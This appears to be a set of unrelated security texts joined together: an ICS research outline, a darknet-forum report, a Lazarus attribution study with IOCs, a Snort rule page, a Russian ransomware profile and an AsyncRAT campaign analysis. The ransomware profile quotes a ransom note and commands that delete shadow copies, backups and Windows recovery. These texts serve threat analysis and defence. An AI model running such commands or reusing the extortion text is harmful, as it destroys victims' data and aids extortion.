## III. Methodology
### 3.1 Problem Definition
The methodology for this research is designed to ensure that the collection of PLC code from Internet-facing ICS devices does not impact their operation. This section outlines the approach taken to achieve this goal.
### 3.2 Approach
Collecting PLC code from Internet-facing ICS devices must not impact the device’s operation. Impact is defined as a statistically significant increase in task execution time. Experimentation on ICS devices in a controlled environment provides the means to develop non-invasive data collection methods and measure performance metrics to determine impacts those collection methods have on ICS devices. The goal of this research is to distinguish Internet-facing ICS devices based on PLC programming information. This research accomplishes this goal by obtaining a list of Internet-facing ICS devices, collecting PLC code, and classifying devices by matching process control terms with the names used by ICS engineers to write PLC code.
The Shodan search engine indexes devices in the same manner that Google indexes web pages. Shodan requests service information for a specific IP and port, and indexes the response message. Carefully crafted Shodan search queries are used to obtain IP addresses for devices with matching service response messages. This is the method this research uses to obtain a list of Allen-Bradley PLCs indexed by Shodan.
Collecting PLC code from ICS devices makes use of CIP Get Attribute List messages that return Task, Program, and Routine names along with names and data types for Global and Program-specific tags. The RSLogix5000 software uploads PLC code from the device by making several CIP requests for class and instance values for Task, Program, Routine, and Tag values. Reverse engineering these requests using Wireshark captures, it is possible to create CIP requests replicating certain parts of the upload process, obtaining PLC code without using RSLogix5000. Once pilot testing confirms that the Python scripts are able to collect PLC code from an ICS device, testing is conducted measuring the task and system process execution times to ensure ICS device performance is not negatively impacted. During this testing, four different PLC CPUs are tested, each with three firmware versions. The firmware versions are selected according to firmware versions obtained during exploratory testing. For each CPU, it is tested with three firmware versions ranging from oldest to newest found on Internet-facing devices. Once PLC code is collected, each response is categorized based on attributes found in the PLC code.
Finally, a visual inspection of the PLC code collected from Internet-facing PLCs is conducted to match the names of Tasks, Programs, Routines, and Tags with a list of process control terms common across multiple Critical Infrastructure sectors.
### 3.3 Environment
The environment for this research includes the architecture and hardware used for testing, as well as the software and tools utilized for PLC code collection.
#### 3.3.1 Architecture and Hardware
The architecture for this research consists of a controlled environment where PLCs are tested. The hardware includes various Allen-Bradley PLC models, networking equipment, and computers for running the data collection scripts.
#### 3.3.2 Software
The software used in this research includes the RSLogix5000 programming environment, Python for scripting, and Wireshark for capturing network traffic.
#### 3.3.3 PLC Code Collection Tools
Tools developed for collecting PLC code include Python scripts that send CIP requests to the PLCs and parse the responses to extract relevant information.
#### 3.3.4 Performance Analysis Tools
Performance analysis tools are used to measure the execution times of PLC tasks and ensure that the data collection process does not significantly impact the operation of the PLCs.
#### 3.3.5 Implementation
The implementation of the research methodology involves setting up the testing environment, running the data collection scripts, and analyzing the collected PLC code.
### 3.4 Experiment Design
The experiment design outlines the steps taken to collect PLC code and measure the performance of the PLCs during the data collection process.
#### 3.4.1 Experiment Setup
The experiment setup includes configuring the PLCs, establishing network connections, and preparing the data collection scripts for execution.
#### 3.4.2 PLC Execution Times
PLC execution times are measured during the data collection process to ensure that the collection does not significantly impact the performance of the devices.
#### 3.4.3 PLC Impact Experiments
Experiments are conducted to assess the impact of data collection on PLC performance, including measuring task execution times before and after data collection.
#### 3.4.4 Visual Inspection of PLC Code
A visual inspection of the PLC code is conducted to identify process control terms and classify the devices based on their functionality.
### 3.5 Evaluation
The evaluation process involves analyzing the collected data, comparing PLC code attributes, and determining the effectiveness of the data collection methods.
### 3.6 Conclusion
The conclusion summarizes the findings of the research and discusses the implications of the results for distinguishing Internet-facing ICS devices.
---
## IV. Results and Implementation
### 4.1 Exploratory Testing
Exploratory testing is conducted to assess the feasibility of collecting PLC code from Internet-facing devices.
#### 4.1.1 Reverse Engineering Allen-Bradley PLC Code CIP Requests
Reverse engineering techniques are employed to understand the structure of CIP requests and responses.
#### 4.1.2 Conclusion
The exploratory testing phase concludes with insights gained from the initial data collection efforts.
### 4.2 Performance Analysis Results
Performance analysis results are presented, highlighting the impact of data collection on PLC execution times.
#### 4.2.1 Data
Data collected during the experiments is analyzed to determine trends and patterns in PLC performance.
#### 4.2.2 Non-parametric Statistical Analysis
Statistical analysis is performed to assess the significance of the results obtained from the experiments.
#### 4.2.3 Analysis
The analysis section discusses the implications of the findings and their relevance to the research objectives.
### 4.3 Implementation Results
Implementation results are presented, detailing the success of the data collection methods and the classification of Internet-facing ICS devices.
#### 4.3.1 Identifying Internet-facing ICS Devices
The process of identifying Internet-facing ICS devices is described, including the criteria used for classification.
#### 4.3.2 Collecting Diagnostic Web Page Data
Data collected from diagnostic web pages is analyzed to gain insights into the operational status of the devices.
#### 4.3.3 Collecting PLC Code
The process of collecting PLC code from Internet-facing devices is detailed, including the challenges encountered.
#### 4.3.4 Distinguishing ICS Devices
The methods used to distinguish ICS devices based on PLC programming information are discussed.
### 4.4 Conclusion
The conclusion summarizes the results of the implementation phase and discusses the implications for future research.
---
## V. Conclusions
### 5.1 Conclusions
The conclusions drawn from the research are presented, highlighting the key findings and their significance.
### 5.2 Impact
The impact of the research on the understanding of Internet-facing ICS devices is discussed.
### 5.3 Recommendations
Recommendations for future research and practical applications of the findings are provided.
### 5.4 Future Work
Future work that can be conducted to further classify Internet-facing ICS devices is outlined.
### 5.5 Summary
A summary of the research is presented, emphasizing the contributions made to the field of ICS security.
---
## Appendix A: Process Control Terms
A list of process control terms used in the research is provided.
## Appendix B: List of Boxplots
A collection of boxplots illustrating the performance analysis results is included.
## Bibliography
A comprehensive list of references used throughout the research is provided.
|
# Torum is Dead. Long Live CryptBB?
On August 9, 2020, Torum’s administrator announced the forum is shutting down. What was this forum, and will its users find alternatives? KELA explored various darknet sources, as well as Torum itself, to find out. Here is a summary of our findings:
Torum was an English-speaking underground forum that posed as a nonprofit cybersecurity website. While both its members and users of other forums agreed Torum was a good place to discuss cybersecurity and learn hacking methods, the site was overwhelmed by newbies and scammers who damaged its reputation. The administrator announced he is closing the forum because he lost interest in supporting it. Torum was an active, stable community, which will likely be missed by users. The forum has a few alternatives in the darknet, including CryptBB, which recently became public. This post will explore what distinguished Torum and what darknet chatter reveals about possible alternatives. As users struggle to find new forums with a decent community, it is crucial to continue tracking these sources to understand new trends and TTPs, and proactively mitigate potential risks emerging from them.
## The History of Torum
Launched in May 2017, Torum reportedly had more than 130,000 users, a substantial number for an underground forum. RaidForums, the most popular English-speaking forum, has about 465,000 members, 15,000 active daily. Torum only gained popularity among the English-speaking audience in February 2019, when Kickass (an English-speaking platform for cybercriminals) went offline. Torum’s user base increased by 639% from February to October of that year.
We used KELA’s DARKBEAST to dive into Torum’s posts, concluding it was actively maintained throughout 2020, with almost 95,000 posts published from January to August. Based on our analysis, in addition to cybersecurity discussions, many conversations focused on malicious activities and other related information, as well as trading and sharing accesses and databases.
The official reason for closure, provided by Torum’s administrator, is that he “lost the passion” to maintain the forum. We found nothing indicating otherwise. Torum was known for frequent outages: members mentioned the site could be down for a few days at a time, suggesting the administrator wasn’t rushing to fix technical issues. Some users also said the administrator was tired of the flood of spam messages on Torum. A message posted on Onion Links, a Telegram channel dedicated to darknet news, stated: “In particular, the closure of the site is associated with constant spam, which was barely sorted out by the moderators. Both Dread and Envoy faced the same problem, which is why registration was suspended at the first one.”
## Was Torum Unique?
According to users’ complaints on other forums, Torum featured many beginners asking “noob questions” and scammers posting malicious links. When discussing Torum shutting down, some mentioned it wasn’t such a loss. Others still paid respect to the forum: “Torum had it all – wacky stuff, DNM related content, discussion on fraud, scripting, hacking, cracking, and of course shitposts. For many, it was the community that introduced them to the concepts of NetSec and fraud.”
It appears that Torum had loyal members, who rarely posted on other underground forums, at least with the same user handles. Torum’s ten most active users used 2-3 other forums on average, with Torum as their primary platform.
So what types of data were sold on Torum, and what interested its members? Here’s a quick review of the topics discussed in July 2020:
### Hacking and Cybersecurity
Users often asked for advice from experienced users, and the forum was considered a place where one could learn hacking. Here are a few recent examples of such questions: “What can I do with IP address?”, “Have CC [credit card data] + info – now what?”, “Is it possible to get into someone’s iPhone camera and spy on them?” Torum claimed to be a place for in-depth discussions about cybersecurity, but these conversations were much less common. However, some users referred to Torum members as experienced hackers. Besides hacking, community members discussed general interest topics, such as Covid-19.
### Databases for Sale and Free
Torum users shared popular recent leaks (Tokopedia breach and BlueLeaks, for example), as well as exclusive findings. For instance, one user posted data stolen from an Irish financial company, and others pointed out the company’s site has an XSS vulnerability. Users shared databases in the forum’s Intel exchange section, open for members who posted ten messages on Torum.
### Accounts, Remote Access and Credit Card Data for Sale
Various users were looking to buy and sell remote access to organizations, accounts of financial services (including WebMoney, Exmo, PayPal, Yandex Money), and other types of data. Based on their offering, we assume sellers didn’t use Torum as an exclusive trading platform.
### Malware for Sale
Thanos ransomware, which emerged in late 2019, attracted the attention of Torum users debating whether the author of a post advertising it should be trusted. He identified as the developer of Thanos, who decided to offer it to Torum’s users. Exploits, RATs, ATM malware, and other malicious tools were also discussed and offered for sale.
As can be seen, the data offered on Torum were rarely unique. However, users valued it as a place for hacking-related conversations and learning. Torum had a private section for administrators and moderators of the forum, but it was closed following leaks of private discussions. Now, both veterans and newbies must find a new platform for similar discussions.
## Where Will Users Migrate?
Most users have probably already been using other platforms and markets dedicated to leaks, malware, tools, etc. Torum was never famous for being the first source for such offers, so users will look for a new place to discuss hacking activities. Here are the leading alternatives:
According to darknet chatter, a prospective replacement is CryptBB, which recently eased the acceptance process of new users. CryptBB, launched in 2017, started as a private English-speaking hacking forum known for its rigorous application policy, only accepting members who pass an interview. However, in late 2019, CryptBB opened a section for “newbies” who are not skilled enough to be accepted but still want to learn from experienced hackers, posting a thread on Dread, where administrators invite beginners to improve their skills and evolve into “pro” members.
CryptBB has around 10,000 users, but when users struggle to find forums with a decent community, the application process and the semi-private mode might attract new users. Even on Torum, members were looking for platforms with a strict screening process, including Exodus, an exclusive forum that was closed in 2017.
As CryptBB seems focused on gaining a larger audience and building a new brand on the darknet, Torum’s closure is a positive development. Some users are already recommending CryptBB as a replacement.
CryptBB’s contenders include TheHub, claiming to have around 157,000 users, who are supposedly less into hacking activities and not as active as Torum’s users. We traced about 16,000 messages posted in 2020 – while Torum had almost 95,000.
Even before Torum shut down, some users mentioned alternative darknet forums: Dread, Nulled, Cracked, Helium, HackTown, HackForums, Envoy, and some Russian-speaking forums.
While Torum and its alternatives are not where critical leaks are posted every day, they are a valuable source, revealing relationships between prominent hackers who share information about new TTPs. This data could be even more useful than the results of the hacking activities (e.g., leaks) as it can help prevent attacks.
|
# Attributing Attacks Against Crypto Exchanges to LAZARUS – North Korea
## Abstract
CryptoCore is an attack campaign against crypto-exchange companies that has been ongoing for three years and was discovered by ClearSky researchers. This cybercrime campaign is focused mainly on the theft of cryptocurrency wallets, and we estimate that the attackers have already made off with hundreds of millions of dollars. This campaign was also reported by additional companies and organizations, including JPCERT/CC, NTT Security, and F-SECURE. The campaign is also known as CryptoMimic, Dangerous Password, and Leery Turtle.
In our report, we attributed this campaign to a specific actor – North Korea’s LAZARUS APT Group. This attribution is a result of two stages of research:
- **First stage** – connecting all research documents to the same campaign: a comparative study of all the research documents trying to prove they are all referring to the same campaign.
- **Second stage** – Attribution to Lazarus: We adopted F-SECURE’s attribution to LAZARUS. Then we reaffirmed this attribution by comparing the attack tools found in this campaign to other Lazarus campaigns and found strong similarities.
Our research shows a MEDIUM-HIGH likelihood that the Lazarus group, a North-Korean, state-sponsored APT group, is attacking crypto exchanges all over the world and in Israel for at least three years. This group has successfully hacked into numerous companies and organizations around the world for many years. Until recently, this group was not known to attack Israeli targets.
We would like to thank NTT Security Japan for sharing malware samples with us and for their feedback on this research.
## Background
### LAZARUS
LAZARUS, also known as APT38, Hidden Cobra, Whois Team, ZINC, and others, is a North Korean APT group active since at least 2009. The group’s focus is mainly espionage, political attacks (anti-US and anti-South Korea, mostly), and financial attacks, especially targeting cryptocurrency wallets. According to the FBI, this group is state-sponsored and is a part of North Korea’s RGB intelligence agency.
### CryptoCore - An Attack Campaign Targeting Israeli Crypto-Exchanges
In June 2020, we released a detailed report about a three-year-old campaign targeting crypto-exchanges in Israel, the US, Europe, and Japan by an unknown group which we dubbed the CryptoCore campaign. We identified that the attackers behind this campaign stole millions of dollars’ worth of cryptocurrency wallets. While at the time, we did not attribute this campaign, our initial hypothesis was that this group is of Russian or other Eastern-European origin.
Parallel to our report, other cybersecurity firms released research papers describing similar attacks:
- A report by F-SECURE reviewed a large-scale, international campaign found while investigating attacks on crypto wallets. According to the research paper, the attackers started a conversation with their targets and convinced them to download a malicious file. The paper showed an analysis of the malware used in the attack and outlined similarities between them and between malware known to be used by LAZARUS.
- A report by the Japanese CERT JPCERT/CC analyzed several incidents where employees of Japanese firms were contacted and convinced to download malicious files. The report provided some technical information about the malware used for the attack.
- A report by the Japanese cybersecurity firm NTT SECURITY pointed to a campaign they dubbed CRYPTOMIMIC. According to the report, large sums of money were stolen from crypto wallets by contacting users and convincing them to download malicious files. The report contained information about the attack’s modus operandi, as well as a technical analysis of the malware used.
By comparing these papers with what we know of the CryptoCore campaign, we found it possible that they are all referring to the same campaign, with each of the reports touching on parts of a large-scale attack. In this research paper, we tried to connect the dots from all issued reports to form a full picture and also attempted to support and expand F-SECURE’s attribution of this campaign to LAZARUS.
## Research Methodology
The purpose of this research is the attribution of the CryptoCore campaign to a specific APT actor - LAZARUS. We did this in two steps:
**First step** – We compared ClearSky’s CryptoCore research with three other research papers to find enough similarities to confidently say they are all referring to the same campaign:
- Comparing IOC’s from ClearSky’s research with those found in F-SECURE and JPCERT/CC’s research.
- Comparing the VBS script found in ClearSky’s research with the ones found in F-SECURE and JPCERT/CC’s research.
- Comparing the RAT and STEALER tools found in F-SECURE and NTT SECURITY’s research in the following ways:
- Behavioral similarities
- Similarities in code
- Being signed by the same YARA rules
**Second step** – Having shown that the four research papers all refer to the same attack campaign, we accepted F-SECURE’s attribution of this campaign to LAZARUS by doing these corroborating tests:
- Identifying several uncommon elements known to be LAZARUS-related that appear in RATs from F-SECURE’s and NTT SECURITY’s research papers.
- Testing whether YARA rules created by F-SECURE as part of their research would apply to a RAT from ESET’s LAZARUS report.
- Testing whether YARA rules created by F-SECURE as part of their research would apply to a RAT from KASPERSKY’s LAZARUS report.
## First Stage - Finding Similarities Between the Four Research Papers
### Comparing ClearSky’s research to F-SECURE and JPCERT/CC
We started by comparing ClearSky’s CryptoCore research paper to two additional papers by F-SECURE and JPCERT/CC which seem to point to the same attack campaign and APT group. By comparing these research papers, we found that they share:
- A large number of IoCs
- A VBS script used for communication with C&C servers.
Our working hypothesis is that since all three papers share many varied IoCs (domains, IPs, files, etc.) as well as the same VBS script, then they all point to the same attack campaign.
1. Comparison of indicators (IOC’s) between ClearSky’s and F-Secure’s research:
The following 40 IOC’s were all found in both the ClearSky and F-SECURE papers:
- d7b8c3c986495a814c9b8bd10d3f5eef googledrive.network
- cd0a391331c1d4268bd622080ba68bce googledrive.email
- db3c54038e0b2db2c058a5e9761e4819 googleexplore.net
- ee15bec0e9ba39f186d721515efd6a00 googledrive.online
- d3d32225bf893ccc62dee9d833fe04f2 googledrive.download
- 45123dac5e13cebe1dc7fc95afd9c63e uploadsfiles.xyz
- 3e9b52e3b90ac45ac5ddb9c91615c7ae msupdatepms.xyz
- b8406b91b0eb57267f192a1aee6d3ee0 onedrivems.online
- feccea47b97e78f2d6c4271da3f565c4 drivegooglshare.xyz
- 7d5c259d422310218a8888ec1ce65e92 1driv.org
- c869b0fe739d0626e4474eea980dd018 cloudfiles.club
- 83bac6075fe0d21eea6c9942b2738a1e onedriveupdate.publicvm.com
- c5d9a6478b9b68c213301cb81cbd3833 twosigma.publicvm.com
- c509890d250d6e986e3c3654aa5cea26 drivegoogle.publicvm.com
- 17d97dca939836fe4eeb61eac371960f googleupdate.publicvm.com
- 2d27e4aa3315c7b49ce5edd1a3fb5485 chromeupdate.publicvm.com
- 1439d13eee4b43501bfadbe40da1e1f6 mskpupdate.publicvm.com
- d0c500c37ae9f9e3657d26272722b997 googledrive.publicvm.com
- 629f6a17bea4c386aee3dfec2ed6ec2c 66.181.166.15
- 5bb049c31f5fb8c4a076def3efb91177
- d3d32225bf893ccc62dee9d833fe04f2
2. Comparison of indicators (IOC’s) between ClearSky’s and JPCERT/CC’s research:
The following six IOC’s were all found in both the ClearSky and JPCERT/CC papers:
- a9c5355fce2bd42e5cb3cd1fe6c375f1
- drivegoogle.publicvm.com
- googledrive.email
- googledrive.network
- googledrive.publicvm.com
- mskpupdate.publicvm.com
3. Comparison of VBS scripts found in ClearSky’s and F-SECURE’s research:
As part of ClearSky’s CryptoCore research, we uncovered a VBS script used for connecting the attacked system with C&C servers and awaiting instructions. A nearly identical script was presented as part of F-SECURE’s research.
4. Comparison of VBS script between ClearSky and JPCERT/CC:
A reference is made in JPCERT/CC’s report to a very similar script, which operates in the same fashion and has the same parameters.
5. **CONCLUSION**
Given the large amount of similar IOC’s and a virtually identical VBS script all found in ClearSky’s, F-SECURE’s, and JPCERT/CC’s research papers, we can assume it is highly probable they are all referring to the same attack campaign.
### Comparing Malware from F-SECURE’s and NTT SECURITY’s reports
Another research paper we found to be related to the same attack campaign is by NTT SECURITY. To clearly say they are related, we searched for similarities between the RAT and STEALER tools found in NTT SECURITY’s and F-SECURE’s research papers. Our working hypothesis is that if the different malwares display many similarities, then NTT SECURITY’s research can also be said to relate to the same attack campaign.
1. The following are behavioral similarities of the RATs found in F-SECURE’s and NTT SECURITY’s research:
| F-SECURE’s Report | NTT Security’s report |
|-------------------|----------------------|
| File Name | ntuser.cat | ntuser.cat |
| Compilation Date | 21/03/2019 | 19/11/2019 |
| Packer | Themida | VMProtect |
| Unique RC4 Algorithm | Yes | Yes |
| Requires running a parameter for decryption | Unclear | Yes |
| Injection of decrypted file to Explorer.exe | Yes | Yes |
| Able to inject files to other processes | Yes | Yes |
| Usage of msomain.sdb | Yes | Yes |
| SHA256 | bf1efb52512a183b4362fc | A4FDD083F5C0AD92D797BA0 |
2. The following are code similarities found in the two reports:
- Base64 decryption algorithm (100% BINDIFF match).
- A Unique RC4 decryption algorithm which was observed in other LAZARUS related samples (100% BINDIFF match).
- Unique Wrapper function for RC4 and Base64 decoding functions.
- Malware Command Parser (74% BINDIFF match).
3. Similarities between the STEALERs found in the two reports:
| F-SECURE’s Report | NTT Security’s report |
|-------------------|----------------------|
| File Name | Lssvc.dll | bcs.dll |
| Compilation Date | 21/03/2019 | 19/11/2019 |
| Packer | VMProtect | Themida |
| Unique RC4 Algorithm | Yes | Yes |
| Injection into lsass.exe process | Yes | Yes |
| Usage of msomain.sdb | Yes | Yes |
4. Checking applicability of YARA rules:
Another test we performed was whether YARA rules written by F-SECURE for the RAT and STEALER they identified in their research would apply to the RAT and STEALER identified by NTT SECURITY.
5. **CONCLUSION**
Given the similarities between F-SECURE’s and NTT-SECURITY’s RAT and STEALER in:
- File behavior
- Similarities in code
- Being signed by the same YARA rules
We can say with a high probability that NTT SECURITY’s research also deals with the same attack campaign and attacker as the other three research papers. This means that all four research papers are about the same attack campaign.
## Second Stage - Reaffirming F-SECURE’s attribution of the attacks to Lazarus
After showing that all four research papers point to the same attack campaign, we attempted to reaffirm the hypothesis in F-SECURE’s paper attributing the campaign to LAZARUS. We did this by applying YARA rules for the RAT identified in F-SECURE’s report to a different RAT named “NukeSpeed” found in ESET’s report and verified as belonging to LAZARUS.
As we can see, the RC4 algorithm unique to LAZARUS and the backdoor for the RAT from F-SECURE’s research were both found in the RAT from ESET’s research. It is worth noting that in F-SECURE’s report they reference a RAT from an older LAZARUS report from 2016, conducted by KASPERSKY.
We can see that our test for applying YARA rules from F-SECURE’s research to ESET’s and KASPERSKY’s research worked, and highly strengthens the attribution of these attacks to LAZARUS.
During our research, we located several indicative and uncommon traits for LAZARUS tools that were part of the attack campaign:
### Similar traits for RAT:
1. RAT is named ntuser.cat.
2. Usage of the packers Themida and VMProtect.
3. Injection of malware to process explorer.exe, and potentially to other processes.
4. RAT accesses file “msomain.sdb” and decrypts it. This file contains information of C&C servers.
5. Base64 encoding in RAT’s code.
6. Unique code in RAT and STEALER for RC4 encryption. This code has only ever been found in LAZARUS tools.
7. Uniform malware command-parsing table, indicating the same RAT was used for several targets.
8. Unique wrapper function for decrypting RC4 and Base64.
### Similar traits for STEALER:
1. Usage of the packers Themida and VMProtect.
2. Injection of malware to process lsass.exe, probably done to dump user passwords and steal data.
3. STEALER accesses file “msomain.sdb” and decrypts it. This file contains information of C&C servers.
4. Unique code in RAT and STEALER for RC4 encryption. This code has only ever been found in LAZARUS tools.
5. Unique wrapper function for decrypting RC4 and Base64 (different than the one in the RAT).
**CONCLUSION**
By being able to sign F-SECURE’s YARA rules to RATs associated with LAZARUS from ESET and KASPERSKY’s, we have greatly strengthened F-SECURE’s attribution of the CryptoCore attack campaign to LAZARUS. In addition, we have located several indicative and uncommon traits in these tools all associated with LAZARUS. The above information means we can, with a high level of probability, attribute the CryptoCore attack campaign to LAZARUS.
|
# Rule Category
**MALWARE-CNC** -- Snort has detected a Command and Control (CNC) rule violation, most likely for commands and calls for files or other stages from the control server. The alert indicates a host has been infiltrated by an attacker, who is using the host to make calls for files, as a call-home vector for other malware-infected networks, for shuttling traffic back to bot owners, etc.
## Alert Message
**MALWARE-CNC Win.Trojan.Aytoke variant outbound connection**
## Rule Explanation
This event is generated when activity relating to malware is detected. **Impact:** Serious. Possible existence of malware on the target host. **Details:** This activity is indicative of malware activity on a host. In this case, the MALWARE-CNC Win.Trojan.Aytoke variant outbound connection was detected. **Ease of Attack:** Simple. This may be an indication of a malware infestation.
## What To Look For
### Known Usage
No public information
### False Positives
No known false positives
### Contributors
Cisco Talos
## MITRE ATT&CK Framework
**Tactic:**
**Technique:**
For reference, see the MITRE ATT&CK vulnerability types here:
## Rule Vulnerability
**CVE Additional Information**
|
# Scarabey Ransomware
Scarabey - это крипто-вымогатель, который шифрует данные пользователей с помощью AES-256 (режим CBC) и требует выкуп в BTC для возврата файлов. Оригинальное название: Scarabey. Написан на Delphi без упаковки в C++, которая используется в оригинальном Scarab.
К зашифрованным файлам добавляется расширение .scarab. Позже стали добавляться расширения .oneway, .omerta, .rent, .mvp и другие, чтобы запутать идентификацию и исследователей.
Активность этого крипто-вымогателя пришлась на начало декабря 2017 года. Он ориентирован на русскоязычных пользователей, что не мешает его распространению по всему миру. Записка с требованием выкупа написана на русском языке и называется "Инструкция по расшифровке.TXT".
## Содержание записки о выкупе:
Добрый день. Ваш компьютер подвергся заражению Scarabey. Все данные зашифрованы уникальным ключом, который находится только у нас. Без уникального ключа файлы восстановить невозможно. Каждые 24 часа удаляются 24 файла. Если не запустить программу дешифратор в течение 72 часов, все файлы на компьютере удаляются полностью, без возможности восстановления. Прочтите внимательно инструкции, как восстановить все зашифрованные данные.
### Восстановить файлы Вы сможете так:
1. Связаться с нами по e-mail: [email protected]
- Высылаете Ваш идентификатор ID и 2 файла, размером до 1 МБ каждый. Мы их расшифровываем в доказательство возможности расшифровки и также получаете инструкцию по оплате (оплата будет в bitcoin).
- Сообщите Ваш ID, и мы выключим произвольное удаление файлов.
2. Оплачиваете и подтверждаете оплату.
3. После оплаты получаете дешифратор, который восстановит ваши данные и выключит функцию удаления файлов.
У Вас есть 48 часов на оплату. Если не успеете за 48 часов оплатить, то цена расшифровки увеличивается в 2 раза. Чтобы восстановить файлы без потерь и по минимальному тарифу, Вы должны оплатить в течение 48 часов.
За подробными инструкциями обращайтесь e-mail: [email protected]
- После запуска дешифратор, файлы расшифровываются в течение часа.
- Если будете пытаться сканировать или расшифровать данные самостоятельно, можете потерять Ваши файлы навсегда.
- Дешифраторы других пользователей несовместимы с Вашими данными, так как у каждого пользователя уникальный ключ шифрования.
## Технические детали
Распространяется путём взлома через незащищенную конфигурацию RDP. Также может распространяться с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов (Necurs и других), эксплойтов, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов.
Удаляет теневые копии файлов, отключает функции восстановления и исправления Windows на этапе загрузки командами:
```
cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
cmd.exe /c wmic SHADOWCOPY DELETE
cmd.exe /c vssadmin Delete Shadows /All /Quiet
cmd.exe /c bcdedit /set {default} recoveryenabled No
cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
```
### Особенности:
- По названию записка о выкупе аналогична тем, что использовались в обновлениях крипто-вымогателей Amnesia и Amnesia-2. Но по детекту это одна из разновидностей Scarab Ransomware, ориентированная на русскоязычных пользователей.
- Кроме шифрования файлов также производится их выборочное удаление, отсюда вторая характеристика — деструктор.
- Scarabey ориентирован на российских пользователей и распространяется через RDP и ручную установку на серверы и системы.
### Список файловых расширений, подвергающихся шифрованию:
Большинство типов файлов, кроме тех, что нужны для работы системы. Это наверняка будут документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.
### Файлы, связанные с этим Ransomware:
- Инструкция по расшифровке.TXT
- sevnz.exe
- svhosts.exe
- <random>.exe
### Расположения:
- \Desktop\ -> Инструкция по расшифровке.TXT
- \Downloads\ -> Инструкция по расшифровке.TXT
- \Documents\ -> Инструкция по расшифровке.TXT
- \User_folders\ -> Инструкция по расшифровке.TXT
- C:\Windows\HhSm\svhosts.exe
### Записи реестра, связанные с этим Ransomware:
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- uSjBVNE = "%Application Data%\sevnz.exe
### Степень распространённости: высокая.
## История семьи
- Scarab (ScarabLocker) - июнь-август 2017, ноябрь 2017
- Scarab-Scorpio (Scorpio) - июль 2017
- Scarab-Jackie - октябрь 2017
- Scarab-Russian (Scarabey) - декабрь 2017
- Scarab-Decrypts - март 2018
- Scarab-Crypto - март 2018
- Scarab-Amnesia - март 2018
- Scarab-Please - март 2018
- Scarab-XTBL - апрель 2018
- Scarab-Oblivion - апрель 2018
- Scarab-Horsia - май 2018
- Scarab-Walker - май 2018
- Scarab-Osk - май 2018
- Scarab-Rebus - май 2018
- Scarab-DiskDoctor - июнь 2018
- Scarab-Danger - июнь 2018
- Scarab-Crypt000 - июнь 2018
- Scarab-Bitcoin - июнь 2018
- Scarab-Bomber - июнь 2018
- Scarab-Omerta - июнь-июль 2018
- Scarab-Bin - июль 2018
- Scarab-Recovery - июль 2018
- Scarab-Turkish - июль 2018
- Scarab-Barracuda - июль 2018
## Обновления
- Обновление от 23 декабря 2017: Оригинальное название: Scarabey, расширение: .scarab, записка: Инструкция по расшифровке.TXT, email: [email protected], файл: sevnz.exe.
- Обновление от 25 января 2018: расширение: .scarab, записка: Инструкция по расшифровке.TXT, email: [email protected].
- Обновление от 25 апреля 2018: расширение: .scarab, email: [email protected], записка: Инструкция по расшифровке файлов.TXT.
- Обновление от 4 июня 2018: расширение: .scarab, самоназвание: Scarabey, email: [email protected], записка: Как расшифровать файлы.TXT.
- Обновление от 16 июня 2018: расширение: .scarab, самоназвание: криптолокер Scarabey, email: [email protected], записка: Как расшифровать файлы.TXT.
- Обновление от 18 июня 2018: расширение: .oneway, email: [email protected], записки могут называться: Как расшифровать файлы oneway.TXT или Инструкция по расшифровке файлов oneway.TXT.
- Обновление от 19-20 июня 2018: файлы можно было дешифровать, если они были зашифрованы до 18 июня 2018 года.
- Обновление от 20 июня 2018: расширение: .oneway, email: [email protected], записка: Как расшифровать файлы oneway.TXT.
- Обновление от 6 августа 2018: расширение: .omerta, email: [email protected], записка: Инструкция по расшифровке файлов.TXT.
- Обновление от 16 августа 2018: расширение: .rent, записка: Инструкция по расшифровке файлов Rent.TXT, email: [email protected].
- Обновление от 23 августа 2018: расширение: .omerta, email: [email protected].
- Обновление от 10 сентября 2018: расширение: .mvp, записка: Как расшифровать файлы.TXT, email: [email protected].
- Обновление от 23 сентября 2018: расширение: .omerta, записка: Инструкция по расшифровки omerta.TXT, email: [email protected].
- Обновление от 17 декабря 2018: расширение: .omerta, email: [email protected].
- Обновление от 1 февраля 2019: расширение: .secure, записка: Расшифровать файлы и работать дальше.TXT, email: [email protected].
|
# Targeted Attack on Thailand Pass Customers Delivers AsyncRAT
The Zscaler ThreatLabz research team has recently discovered a malware campaign targeting users applying for Thailand travel passes. The end payload of many of these attacks is AsyncRAT, a Remote Access Trojan that can be used to monitor, control, and steal sensitive data from victims' machines.
Thailand Pass is an online travel agency that brokers airline tickets to travelers who want to visit Thailand or other foreign countries. Attackers trick victims using a spoof web page that poses as Thailand Pass, ultimately baiting users into downloading AsyncRAT. The Thailand Pass organization has issued an advisory for these malicious campaigns on their official website "tp.consular[.]go[.]th".
In this blog, our team will provide a deep analysis of the malware campaign that we have observed related to these attacks.
The following malicious URLs were used for this campaign, as found through our Threat Intelligence collection framework:
- hxxps://bit[.]ly/Thailand-passport
- hxxps://onedrive.live[.]com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2!168&authkey=AGoYtbf1Lb5VjFg
On accessing the above URL, the page delivers an HTML file named “Thailand Pass Registration System (for air travel.html”. Once the user opens the HTML file, it automatically drops an ISO file named “thailand_Passport.iso” without any user interaction. This ISO file contains a VBScript called “qr_thailand_pass.vbs” file which begins the malware activity. The content of the vbs file will be in obfuscated form.
After de-obfuscating the VBScript, we can see that the script tries to download a Testavast+denf.txt file from the web hosting site (ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com) and executes the code using the “IEX” operation with the help of “powershell”.
The following image shows the content of the Testavast+denf.txt file which contains a code to check if antivirus services ESET, Avast, AVG, or Malwarebytes are running. If any of those services is found, the script modifies the execution flow of the malware to get around the antivirus, and downloads the appropriate files in order to do so. It saves the files related to the antivirus service as untitled.ps1 and executes that powershell script.
While execution flows are modified if AV services are found to be present, the final payload (AsyncRAT malware) remains the same.
### If AV Exists on the Host Machine
Here, we have taken a case study of a host with Malwarebytes antivirus installed, and will analyze the delivery of an AsyncRAT payload in detail. The following image shows the content of the killd.txt file which downloads the supporting files from the web hosting site (ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com).
